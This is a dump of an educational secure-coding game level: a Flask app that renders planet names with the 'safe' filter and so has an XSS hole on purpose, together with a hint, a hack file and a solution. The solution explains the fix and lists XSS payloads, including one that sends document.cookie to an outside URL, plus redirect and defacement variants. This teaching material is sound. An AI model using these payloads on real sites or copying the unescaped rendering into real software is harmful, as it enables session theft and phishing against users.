28 | });
29 | });
30 |
31 | it('should handle valid XML data', function (done) {
32 | const xmlData = 'Canada';
33 | request(app)
34 | .post('/ufo')
35 | .set('Content-Type', 'application/xml')
36 | .send(xmlData)
37 | .expect(200)
38 | .end(function (err, res) {
39 | if (err) return done(err + "\n" + res.text);
40 | expect(res.text).to.equal("Canada");
41 | done();
42 | });
43 | });
44 |
45 | it('should respond with a 400 error for invalid XML', (done) => {
46 | const invalidXmlPayload = 'invalid>a';
47 |
48 | request(app)
49 | .post('/ufo')
50 | .set('Content-Type', 'application/xml')
51 | .send(invalidXmlPayload)
52 | .expect(400)
53 | .end((err, res) => {
54 | if (err) return done(err + "\n" + res.text);
55 | expect(res.text).to.include('Invalid XML');
56 | done();
57 | });
58 | });
59 |
60 | it('should respond with a 400 error for unsupported content type', (done) => {
61 | request(app)
62 | .post('/ufo')
63 | .set('Content-Type', 'application/octet-stream')
64 | .send('Some data')
65 | .expect(405, done);
66 | });
67 | });
68 |
69 | after(() => {
70 | app.close();
71 | });
--------------------------------------------------------------------------------
/Season-2/Level-4/code.py:
--------------------------------------------------------------------------------
1 | # Welcome to Secure Code Game Season-2/Level-4!
2 |
3 | # Follow the instructions below to get started:
4 |
5 | # 1. tests.py file is passing but code.py is vulnerable
6 | # 2. Review the code in this file. Can you spot the bugs(s)?
7 | # 3. Fix the bug(s) in code.py. Ensure that tests.py passes
8 | # 4. Run hack.py and if passing then CONGRATS!
9 | # 5. If stuck then read the hint
10 | # 6. Compare your solution with solution.txt
11 |
12 | # Run code.py (RECOMMENDED for this level) by following the instructions below:
13 |
14 | # Run by opening a terminal and running the following:
15 | # $ export FLASK_APP=Season-2/Level-4/code.py && export FLASK_ENV=development && export FLASK_DEBUG=0 && flask run
16 |
17 | import os
18 | import re
19 | from flask import Flask, request, render_template
20 | app = Flask(__name__)
21 |
22 | # Set the absolute path to the template directory
23 | template_dir = os.path.abspath('Season-2/Level-4/templates')
24 | app.template_folder = template_dir
25 |
26 | # Hard-coded planet data
27 | planet_data = {
28 | "Mercury": "The smallest and fastest planet in the Solar System.",
29 | "Venus": "The second planet from the Sun and the hottest planet.",
30 | "Earth": "Our home planet and the only known celestial body to support life.",
31 | "Mars": "The fourth planet from the Sun and often called the 'Red Planet'.",
32 | "Jupiter": "The largest planet in the Solar System and known for its great red spot.",
33 | }
34 |
35 | @app.route('/', methods=['GET', 'POST'])
36 | def index():
37 | if request.method == 'POST':
38 | planet = request.form.get('planet')
39 | sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')
40 |
41 | if sanitized_planet:
42 | if 'script' in sanitized_planet.lower() :
43 | return '
'
50 |
51 | return render_template('index.html')
52 |
53 | def get_planet_info(planet):
54 | return planet_data.get(planet, 'Unknown planet.')
55 |
56 | if __name__ == '__main__':
57 | app.run()
--------------------------------------------------------------------------------
/Season-2/Level-4/hack.txt:
--------------------------------------------------------------------------------
1 | Simulate an attack by following these steps:
2 |
3 | 1. Start the application as instructed in 'code.py'
4 | 2. Enter the following in the planet input field:
5 | <img src='x' onerror='alert(1)'>
6 |
7 | The application should return a message stating that such a
8 | planet is unknown to the system, without showing an alert box
--------------------------------------------------------------------------------
/Season-2/Level-4/hint.txt:
--------------------------------------------------------------------------------
1 | How does the site handle user input before and after displaying it?
--------------------------------------------------------------------------------
/Season-2/Level-4/solution.txt:
--------------------------------------------------------------------------------
1 | # Contribute new levels to the game in 3 simple steps!
2 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
3 |
4 | This code is vulnerable to Cross-Site Scripting (XSS).
5 |
6 | Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting
7 | Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/
8 |
9 | Why the application is vulnerable to XSS?
10 | It seems that the user input is properly sanitized, as shown below:
11 |
12 | planet = request.form.get('planet')
13 | sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')
14 |
15 | What if all HTML's start and end tags were pruned away, what could go wrong in that case?
16 | Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
17 | However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows:
18 |
19 | Exploit:
20 | <img src="x" onerror="alert(1)">
21 |
22 | Explanation:
23 | With this payload, the XSS attack will execute successfully, since it will force the browser to open an
24 | alert dialog box. There are several reasons why this is possible, as explained below:
25 |
26 | 1) The regular expression (RegEx) doesn't cover for the () characters and these are necessary for function
27 | invocation in JavaScript.
28 | 2) The sanitization doesn't touch the < and > special entities.
29 | 3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision.
30 | 4) The 'display.html' is reusing an unprotected planet name and rendering it at another location as HTML.
31 |
32 | How can we fix this?
33 |
34 | 1) Never reuse a content rendered in 'safe' regime as HTML. It's unescaped.
35 | 2) Don't reinvent the wheel by coming up with your own escaping facility.
36 | You can use the function 'escape', which is a built-in function inside the markup module used by Flask.
37 | This function helps to escape special characters in the input, preventing them from being executed
38 | as HTML or JavaScript.
39 |
40 | Example:
41 | from markupsafe import escape
42 |
43 | sanitized_planet = escape(planet)
44 |
45 | What else can XSS do?
46 | - Steal cookies and session information
47 | - Redirect to malicious websites
48 | - Modify website content
49 | - Phishing
50 | - Keylogging
51 |
52 | How to prevent XSS?
53 | - Sanitize user input properly
54 | - Use Content Security Policy (CSP)
55 | - Use HttpOnly Cookies
56 | - Use X-XSS-Protection header
57 |
58 | Here are some exploit examples:
59 |
60 | - Redirect to phishing page using XSS:
61 | <img src="x" onerror="window.location.href = 'https://google.com';">
62 |
63 | - Get cookies:
64 | <img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;">
65 |
66 | - Modify website content:
67 | You can inject any phishing page, malicious page, or any other content to the website using XSS, by:
68 | <img src="x" onerror="document.body.innerHTML = 'Website is hacked';">
--------------------------------------------------------------------------------
/Season-2/Level-4/templates/details.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Planet Details
6 |
18 |
19 |
20 |
21 |
Planet Details
22 |
Planet name: {{ planet | safe }}
23 |
Planet info: {{ info | safe }}
24 |
25 |
Search in Google for more information about the planet: